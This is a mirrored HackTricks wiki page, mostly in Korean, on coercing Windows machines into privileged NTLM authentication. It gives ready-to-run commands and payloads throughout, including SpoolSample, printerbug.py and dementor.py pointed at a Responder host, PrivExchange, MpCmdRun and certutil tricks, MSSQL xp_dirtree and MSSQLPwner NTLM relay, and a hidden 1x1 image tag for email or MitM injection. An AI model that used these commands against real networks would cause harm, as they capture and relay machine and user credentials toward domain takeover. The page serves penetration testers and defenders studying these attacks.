mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
111 lines
6.3 KiB
Markdown
111 lines
6.3 KiB
Markdown
# Force NTLM Privileged Authentication
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## SharpSystemTriggers
|
|
|
|
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers)는 **3rd party dependencies**를 피하기 위해 MIDL 컴파일러를 사용하여 C#로 코딩된 **원격 인증 트리거**의 **모음**입니다.
|
|
|
|
## Spooler Service Abuse
|
|
|
|
_**Print Spooler**_ 서비스가 **활성화**되어 있으면, 이미 알려진 AD 자격 증명을 사용하여 도메인 컨트롤러의 프린트 서버에 새로운 인쇄 작업에 대한 **업데이트**를 **요청**하고 이를 **어떤 시스템으로 알리도록** 지시할 수 있습니다.\
|
|
프린터가 임의의 시스템으로 알림을 보낼 때, 해당 **시스템**에 대해 **인증**해야 합니다. 따라서 공격자는 _**Print Spooler**_ 서비스가 임의의 시스템에 대해 인증하도록 만들 수 있으며, 이 인증에서 서비스는 **컴퓨터 계정**을 **사용**합니다.
|
|
|
|
### Finding Windows Servers on the domain
|
|
|
|
PowerShell을 사용하여 Windows 박스 목록을 가져옵니다. 서버는 일반적으로 우선 순위가 높으므로, 여기에 집중합시다:
|
|
```bash
|
|
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
|
|
```
|
|
### Spooler 서비스 수신 확인
|
|
|
|
약간 수정된 @mysmartlogin의 (Vincent Le Toux의) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket)를 사용하여 Spooler 서비스가 수신 중인지 확인합니다:
|
|
```bash
|
|
. .\Get-SpoolStatus.ps1
|
|
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
|
|
```
|
|
Linux에서 rpcdump.py를 사용하여 MS-RPRN 프로토콜을 찾을 수도 있습니다.
|
|
```bash
|
|
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
|
|
```
|
|
### 서비스에 임의의 호스트에 대해 인증하도록 요청
|
|
|
|
[ **여기에서 SpoolSample을 컴파일할 수 있습니다**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
|
|
```bash
|
|
SpoolSample.exe <TARGET> <RESPONDERIP>
|
|
```
|
|
또는 Linux를 사용하는 경우 [**3xocyte의 dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) 또는 [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)를 사용하세요.
|
|
```bash
|
|
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
|
|
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
|
|
```
|
|
### Unconstrained Delegation과 결합
|
|
|
|
공격자가 이미 [Unconstrained Delegation](unconstrained-delegation.md)으로 컴퓨터를 손상시킨 경우, 공격자는 **프린터가 이 컴퓨터에 대해 인증하도록 만들 수 있습니다**. 비제한 위임으로 인해 **프린터의 컴퓨터 계정의 TGT**가 **비제한 위임이 있는 컴퓨터의 메모리에 저장됩니다**. 공격자가 이미 이 호스트를 손상시켰기 때문에, 그는 **이 티켓을 검색하고 악용할 수 있습니다** ([Pass the Ticket](pass-the-ticket.md)).
|
|
|
|
## RCP 강제 인증
|
|
|
|
{{#ref}}
|
|
https://github.com/p0dalirius/Coercer
|
|
{{#endref}}
|
|
|
|
## PrivExchange
|
|
|
|
`PrivExchange` 공격은 **Exchange Server `PushSubscription` 기능**에서 발견된 결함의 결과입니다. 이 기능은 Exchange 서버가 메일박스가 있는 모든 도메인 사용자에 의해 HTTP를 통해 클라이언트 제공 호스트에 인증되도록 강제할 수 있게 합니다.
|
|
|
|
기본적으로 **Exchange 서비스는 SYSTEM으로 실행되며** 과도한 권한이 부여됩니다 (특히, **2019년 누적 업데이트 이전 도메인에 대한 WriteDacl 권한이 있습니다**). 이 결함은 **LDAP에 정보를 중계하고 이후 도메인 NTDS 데이터베이스를 추출할 수 있도록 악용될 수 있습니다**. LDAP로의 중계가 불가능한 경우에도 이 결함은 여전히 도메인 내의 다른 호스트에 중계하고 인증하는 데 사용될 수 있습니다. 이 공격의 성공적인 악용은 인증된 도메인 사용자 계정으로 도메인 관리자의 즉각적인 접근을 허용합니다.
|
|
|
|
## Windows 내부
|
|
|
|
Windows 머신 내부에 이미 있는 경우, 다음을 사용하여 권한 있는 계정으로 서버에 연결하도록 Windows를 강제할 수 있습니다:
|
|
|
|
### Defender MpCmdRun
|
|
```bash
|
|
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
|
|
```
|
|
### MSSQL
|
|
```sql
|
|
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
|
|
```
|
|
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
|
```shell
|
|
# Issuing NTLM relay attack on the SRV01 server
|
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
|
|
|
|
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
|
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
|
|
|
|
# Issuing NTLM relay attack on the local server with custom command
|
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
|
```
|
|
또는 이 다른 기술을 사용할 수 있습니다: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
|
|
|
|
### Certutil
|
|
|
|
certutil.exe lolbin (Microsoft 서명 이진 파일)을 사용하여 NTLM 인증을 강제할 수 있습니다:
|
|
```bash
|
|
certutil.exe -syncwithWU \\127.0.0.1\share
|
|
```
|
|
## HTML 주입
|
|
|
|
### 이메일을 통한
|
|
|
|
당신이 침해하고자 하는 머신에 로그인하는 사용자의 **이메일 주소**를 알고 있다면, 그에게 **1x1 이미지**가 포함된 **이메일**을 보낼 수 있습니다.
|
|
```html
|
|
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
|
```
|
|
그가 그것을 열면, 인증을 시도할 것입니다.
|
|
|
|
### MitM
|
|
|
|
컴퓨터에 MitM 공격을 수행하고 그가 볼 수 있는 페이지에 HTML을 주입할 수 있다면, 다음과 같은 이미지를 페이지에 주입해 볼 수 있습니다:
|
|
```html
|
|
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
|
```
|
|
## NTLMv1 크래킹
|
|
|
|
[NTLMv1 챌린지를 캡처할 수 있다면 여기에서 크래킹하는 방법을 읽어보세요](../ntlm/index.html#ntlmv1-attack).\
|
|
_Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"_
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|